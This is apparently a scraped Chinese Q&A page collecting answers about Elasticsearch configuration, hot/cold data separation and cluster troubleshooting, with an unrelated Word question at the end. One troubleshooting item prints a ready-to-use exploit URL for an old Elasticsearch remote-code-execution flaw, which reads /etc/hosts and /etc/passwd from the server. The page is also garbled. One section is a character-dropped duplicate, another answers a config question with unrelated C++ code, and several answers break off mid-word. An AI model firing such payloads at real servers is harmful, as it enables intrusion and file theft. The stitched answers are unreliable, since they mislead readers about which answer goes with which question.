es启动配置文件|offes2007word每次都要配置文件是怎么一回事

Ⅰ 如何设定elasticsearch的启动内存

1.1. 基本配置 elasticsearchconfig文件夹面两配置文 件:elasticsearch.ymllogging.yml第es基本配置文件第二志配置文件es使用log4j记录 志所logging.yml设置按普通log4j配置文件设置行面主要讲解elasticsearch.yml文件配置东西cluster.name: elasticsearch配置es集群名称默认elasticsearches自发现同网段es同网段集群用属性区同集群node.name: "Franz Kafka"节点名默认随机指定name列表名字该列表esjar包config文件夹name.txt文件其作者添加趣名字node.master: true指定该节点否资格选举node默认truees默认集群第台机器master台机挂重新选举masternode.data: true指定该节点否存储索引数据默认trueindex.number_of_shards: 5设置默认索引片数默认5片index.number_of_replicas: 1设置默认索引副本数默认1副本path.conf: /path/to/conf设置配置文件存储路径默认es根目录config文件夹path.data: /path/to/data设置索引数据存储路径默认es根目录data文件夹设置存储路径用逗号隔例:path.data: /path/to/data1,/path/to/data2path.work: /path/to/work设置临文件存储路径默认es根目录work文件夹path.logs: /path/to/logs设置志文件存储路径默认es根目录logs文件夹path.plugins: /path/to/plugins设置插件存放路径默认es根目录plugins文件夹bootstrap.mlockall: true设置true锁住内存jvm始swappinges效率降低所要保证swapES_MIN_MEM ES_MAX_MEM两环境变量设置同值并且保证机器足够内存配给es同要允许elasticsearch进程锁住内存linux通`ulimit -l unlimited`命令network.bind_host: 192.168.0.1设置绑定ip址ipv4或ipv6默认0.0.0.0 network.publish_host: 192.168.0.1设置其节点该节点交互ip址设置自判断值必须真实ip址network.host: 192.168.0.1参数用同设置bind_hostpublish_host面两参数transport.tcp.port: 9300设置节点间交互tcp端口默认9300transport.tcp.compress: true设置否压缩tcp传输数据默认false压缩http.port: 9200设置外服务http端口默认9200http.max_content_length: 100mb设置内容容量默认100mbhttp.enabled: false否使用http协议外提供服务默认true启gateway.type: localgateway类型默认local即本文件系统设置本文件系统布式文件系统HadoopHDFSamazons3服务器gateway.recover_after_nodes: 1设置集群N节点启进行数据恢复默认1gateway.recover_after_time: 5m设置初始化数据恢复进程超间默认5钟gateway.expected_nodes: 2设置集群节点数量默认2旦N节点启立即进行数据恢复cluster.routing.allocation.node_initial_primaries_recoveries: 4初始化数据恢复并发恢复线程数默认4cluster.routing.allocatio

Ⅱ 怎么在windows上配置elasticsearch

1.1. 基本配置 elasticsearch的config文件夹里面有两个配置文 件:elasticsearch.yml和logging.yml,第一个是es的基本配置文件,第二个是日志配置文件,es也是使用log4j来记录日 志的,所以logging.yml里的设置按普通log4j配置文件来设置就行了。下面主要讲解下elasticsearch.yml这个文件中可配置的东西。cluster.name: elasticsearch配置es的集群名称,默认是elasticsearch,es会自动发现在同一网段下的es,如果在同一网段下有多个集群,就可以用这个属性来区分不同的集群。node.name: "Franz Kafka"节点名,默认随机指定一个name列表中名字,该列表在es的jar包中config文件夹里name.txt文件中,其中有很多作者添加的有趣名字。node.master: true指定该节点是否有资格被选举成为node,默认是true,es是默认集群中的第一台机器为master,如果这台机挂了就会重新选举master。node.data: true指定该节点是否存储索引数据,默认为true。index.number_of_shards: 5设置默认索引分片个数,默认为5片。index.number_of_replicas: 1设置默认索引副本个数,默认为1个副本。path.conf: /path/to/conf设置配置文件的存储路径,默认是es根目录下的config文件夹。path.data: /path/to/data设置索引数据的存储路径,默认是es根目录下的data文件夹,可以设置多个存储路径,用逗号隔开,例:path.data: /path/to/data1,/path/to/data2path.work: /path/to/work设置临时文件的存储路径,默认是es根目录下的work文件夹。path.logs: /path/to/logs设置日志文件的存储路径,默认是es根目录下的logs文件夹path.plugins: /path/to/plugins设置插件的存放路径,默认是es根目录下的plugins文件夹bootstrap.mlockall: true设置为true来锁住内存。因为当jvm开始swapping时es的效率会降低,所以要保证它不swap,可以把ES_MIN_MEM和 ES_MAX_MEM两个环境变量设置成同一个值,并且保证机器有足够的内存分配给es。同时也要允许elasticsearch的进程可以锁住内存,linux下可以通过`ulimit -l unlimited`命令。network.bind_host: 192.168.0.1设置绑定的ip地址,可以是ipv4或ipv6的,默认为0.0.0.0。 network.publish_host: 192.168.0.1设置其它节点和该节点交互的ip地址,如果不设置它会自动判断,值必须是个真实的ip地址。network.host: 192.168.0.1这个参数是用来同时设置bind_host和publish_host上面两个参数。transport.tcp.port: 9300设置节点间交互的tcp端口,默认是9300。transport.tcp.compress: true设置是否压缩tcp传输时的数据,默认为false,不压缩。http.port: 9200设置对外服务的http端口,默认为9200。http.max_content_length: 100mb设置内容的最大容量,默认100mbhttp.enabled: false是否使用http协议对外提供服务,默认为true,开启。gateway.type: localgateway的类型,默认为local即为本地文件系统,可以设置为本地文件系统,分布式文件系统,Hadoop的HDFS,和amazon的s3服务器。gateway.recover_after_nodes: 1设置集群中N个节点启动时进行数据恢复,默认为1。gateway.recover_after_time: 5m设置初始化数据恢复进程的超时时间,默认是5分钟。gateway.expected_nodes: 2设置这个集群中节点的数量,默认为2,一旦这N个节点启动,就会立即进行数据恢复。cluster.routing.allocation.node_initial_primaries_recoveries: 4初始化数据恢复时,并发恢复线程的个数,默认为4。cluster.routing.allocatio

Ⅲ spring boot动态修改es的连接地址

在项目启动后,使用修改配置文件+restart()连接/连接池对象的方法解决。使用读写锁,给restart()、setUrl()等代码块加写锁,给数据库操作方法加读锁。这样就可以在修改数据库连接信息时,先获取写锁,保证数据库操作方法不能执行。而在不修改连接时,数据库操作方法之间获取的是读锁,不会影响线程彼此之间的操作。

Ⅳ ES (elasticsearch)集群数据冷热分离实现

导语 这种打标签的操作可以通过滚动,重启集群实例,因为涉及到重启后的数据恢复问题,可能滚动重启的时间会比较长(根据数据量大小和分片数量决定),可以通过如下的方式,增加数据恢复的最大并行度和数据恢复的最大带宽进行调整,逐步调大到不影响集群业务性能为止。 1、ES 集群异构,机器硬件资源配置不一,有高性能 CPU 和 SSD 存储集群,也有大容量的机械磁盘集群,比如我们的场景就是存放冷数据的集群,服务器都是多年前买的一批满配的 4T Dell R70,但是新扩容的热节点机器均为 DELL 高性能 SSD 磁盘和 CPU 的 R740 机器。 2、对于时间型数据来说,一般是当前的数据,写入和查询较为集中,所以高性能的资源应该优先提供给这些数据使用。 3、集群的搜索和写入性能,取决于最慢节点的性能。 1、ES 的索引已经按照天或者月的时间维度生成索引。 2、 历史 数据相对于近期数据来说没有高频度的查询需求。 本文实现策略:最新的天和月索引均为热数据,其他索引根据查询周期不同,调整为冷数据。当然业务不同策略不同,具体实现策略还是需要根据实际的业务场景来决定。 前置条件 需要修改 ES 集群配置文件,对节点进行打标签操作,配置如下: 热数据实例: 冷数据实例: 修改集群配置需要进行重启实例生效 这种打标签的操作可以通过滚动,重启集群实例,因为涉及到重启后的数据恢复问题,可能滚动重启的时间会比较长(根据数据量大小和分片数量决定),可以通过如下的方式,增加数据恢复的最大并行度和数据恢复的最大带宽进行调整,逐步调大到不影响集群业务性能为止。 设置数据恢复的最大并行度 设置数据恢复的最大带宽 新增索引实现冷热数据分离 集群滚动重启完成之后,已经具备了冷热数据分离的条件,那么如何让新增索引自动成为热数据呢? 答案就是修改 ES 索引的模板,为 ES 索引打 tag,配置实例如下: 只要在索引模板中打了热标签的索引,就会在创建的时候自动分布在集群中实例打了热标签的节点上。 历史 索引实现冷热数据迁移 那么 历史 的 ES 数据如何让其从热节点迁移到冷节点呢? 答案就是,通过 api 修改 ES 索引的标签,将其变更为冷标签,这样 ES 索引就会自动迁移到集群中打了冷标签的实例上,配置如下: 实际生产中会将制定好的冷热数据规则编写成脚本,放到计划任务中,来定时定点的运行,达到热数据自动迁移为冷数据的目的。 熟悉 ES 的同学知道,JVM heap 分配不能超过 32GB,对于使用物理机部署 ES 的环境来说,一台机器的内存往往就动辄 192G 或者 256G,如果只跑一个 ES 实例,只能利用到 32G 的 heap,而且还无法充分发挥 CPU 和 IO 资源,这样显然是不经济的。 因为我们常常会部署单机多实例的 ES 节点,在多实例配置中除了要隔离日志和数据目录之外,还需要增加以下两个配置,不然一台物理机宕机,可能会因为多个副本存在一个 ES 物理机上面导致业务受到影响。 # 执行检查以防止基于主机名和主机地址在单个主机上分配同一分片的多个实例。 默认为 false,表示默认情况下不执行检查。 此设置仅适用于在同一台计算机上启动多个节点的情况。这个我的理解是如果设置为 false,则同一个节点上多个实例可以存储同一个 shard 的多个副本没有容灾作用了。

Ⅳ es的句柄数不会自动下降是怎么回事

1.由gc引起节点脱离集群 因为gc时会使jvm停止工作,如果某个节点gc时间过长,master ping3次(zen discovery默认ping失败重试3次)不通后就会把该节点剔除出集群,从而导致索引进行重新分配。解决方法:(1)优化gc,减少gc时间。(2)调大zen discovery的重试次数(es参数:ping_retries)和超时时间(es参数:ping_timeout)。后来发现根本原因是有个节点的系统所在硬盘满了。导致系统性能下降。 2.out of memory错误 因为默认情况下es对字段数据缓存(Field Data Cache)大小是无限制的,查询时会把字段值放到内存,特别是facet查询,对内存要求非常高,它会把结果都放在内存,然后进行排序等操作,一直使用内存,直到内存用完,当内存不够用时就有可能出现out of memory错误。解决方法:(1)设置es的缓存类型为Soft Reference,它的主要特点是据有较强的引用功能。只有当内存不够的时候,才进行回收这类内存,因此在内存足够的时候,它们通常不被回收。另外,这些引 用对象还能保证在java抛出OutOfMemory 异常之前,被设置为null。它可以用于实现一些常用图片的缓存,实现Cache的功能,保证最大限度的使用内存而不引起OutOfMemory。在es的配置文件加上index.cache.field.type: soft即可。(2)设置es最大缓存数据条数和缓存失效时间,通过设置index.cache.field.max_size: 50000来把缓存field的最大值设置为50000,设置index.cache.field.expire: 10m把过期时间设置成10分钟。 3.无法创建本地线程问题es恢复时报错: RecoverFilesRecoveryException[[index][3] Failed to transfer [215] files with total size of [9.4gb]]; nested: OutOfMemoryError[unable to create new native thread]; ]]刚开始以为是文件句柄数限制,但想到之前报的是too many open file这个错误,并且也把数据改大了。查资料得知一个进程的jvm进程的最大线程数为:虚拟内存/(堆栈大小*1024*1024),也就是说虚拟内存越大或堆栈越小,能创建的线程越多。重新设置后还是会报那这错,按理说可创建线程数完全够用了的,就想是不是系统的一些限制。后来在网上找到说是max user processes的问题,这个值默认是1024,这个参数单看名字是用户最大打开的进程数,但看官方说明,就是用户最多可创建线程数,因为一个进程最少有一个线程,所以间接影响到最大进程数。调大这个参数后就没有报这个错了。解决方法:(1)增大jvm的heap内存或降低xss堆栈大小(默认的是512K)。(2)打开/etc/security/limits.conf ,把soft nproc 1024这行的1024改大就行了。 4.集群状态为黄色时并发插入数据报错[7]: index [index], type [index], id [1569133], message [UnavailableShardsException[[index][1] [4] shardIt, [2] active : Timeout waiting for [1m], request: [email protected]]]这是错误信息,当时集群状态为黄色,即副本没有分配。当时副本设置为2,只有一个节点,当你设置的副本大于可分配的机器时,此时如果你插入数据就有可能报上面的错,因为es的写一致性默认是使用quorum,即quorum值必须大于(副本数/2+1),我这里2/2+1=2也就是说要要至少插入到两份索引中,由于只有一个节点,quorum等于1,所以只插入到主索引,副本找不到从而报上面那个错。解决方法:(1)去掉没分配的副本。(2)把写一致性改成one,即只写入一份索引就行。 5.设置jvm锁住内存时启动警告当设置bootstrap.mlockall: true时,启动es报警告Unknown mlockall error 0,因为linux系统默认能让进程锁住的内存为45k。解决方法:设置为无限制,linux命令:ulimit -l unlimited 6.错误使用api导致集群卡死其实这个是很低级的错误。功能就是更新一些数据,可能会对一些数据进行删除,但删除时同事使用了deleteByQuery这个接口,通过构造BoolQuery把要删除数据的id传进去,查出这些数据删除。但问题是BoolQuery最多只支持1024个条件,100个条件都已经很多了,所以这样的查询一下子就把es集群卡死了。解决方法:用bulkRequest进行批量删除操作。 7.org.elasticsearch.transport.RemoteTransportException: Failed to deserialize exception response from stream原因:es节点之间的JDK版本不一样解决方法:统一JDK环境 8 . org.elasticsearch.client.transport.NoNodeAvailableException: No node available1) 端口错client = new TransportClient().addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));这里9300 写成9200的话会No node available要是你连的不是本机,注意IP有没有正确2 )jar报引用版本不匹配,开启的服务是什么版本,引用的jar最好匹配(这个我没有去试,反正我的是匹配的)3) 要是你改了集群名字,还有设置集群名字Settings settings = ImmutableSettings.settingsBuilder().put("cluster.name", "xxx").build(); client = new TransportClient(settings).addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));4)集群超过5s没有响应解决方法1.设置client.transport.ping_timeout设大 2.代码内加入while (true) { try { bulk.execute().actionGet(getRetryTimeout()); break; } catch (NoNodeAvailableException cont) { Thread.sleep(5000); continue; } }9.elasticsearch 近日被发现漏洞,可以远程执行任意代码,由于 elasticsearch提供了http接口,导致可能通过CSRF等方式借助恶意页面浏览发生攻击。 漏洞影响版本:elasticsearch 1.2以下 测试代码:http:// ESSERVERIP:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery111102863897154977554_1400571156308&_=1400571156309

Ⅵ es中的indices.cache.filter.size在哪个配置文件中

es中的indices.cache.filter.size在哪个配置文件中有两种方法1. c++中string到int的转换1) 在C标准库里面,使用atoi: #include <cstdlib> #include <string> std::string text = "152"; int number = std::atoi( text.c_str() ); if (errno == ERANGE) //可能是std::errno { //number可能由于过大或过小而不能完全存储 } else if (errno == ????) //可能是EINVAL { //不能转换成一个数字 }2) 在C++标准库里面,使用stringstream:(stringstream 可以用于各种数据类型之间的转换) #include <sstream> #include <string> std::string text = "152"; int number; std::stringstream ss;ss << text;//可以是其他数据类型 ss >> number; //string -> int if (! ss.good()) { //错误发生 } ss << number;// int->string string str = ss.str(); if (! ss.good()) { //错误发生 }

Ⅶ offes2007word每次都要配置文件是怎么一回事

说具体一点: 1、是不是所有的都打不开。如果是,可进入控制面板——添加或删除程序中找到——选更改(重新安装或修复)。 2、是不是该文件从别处复制的。看看文件是否损坏。


赞 (0)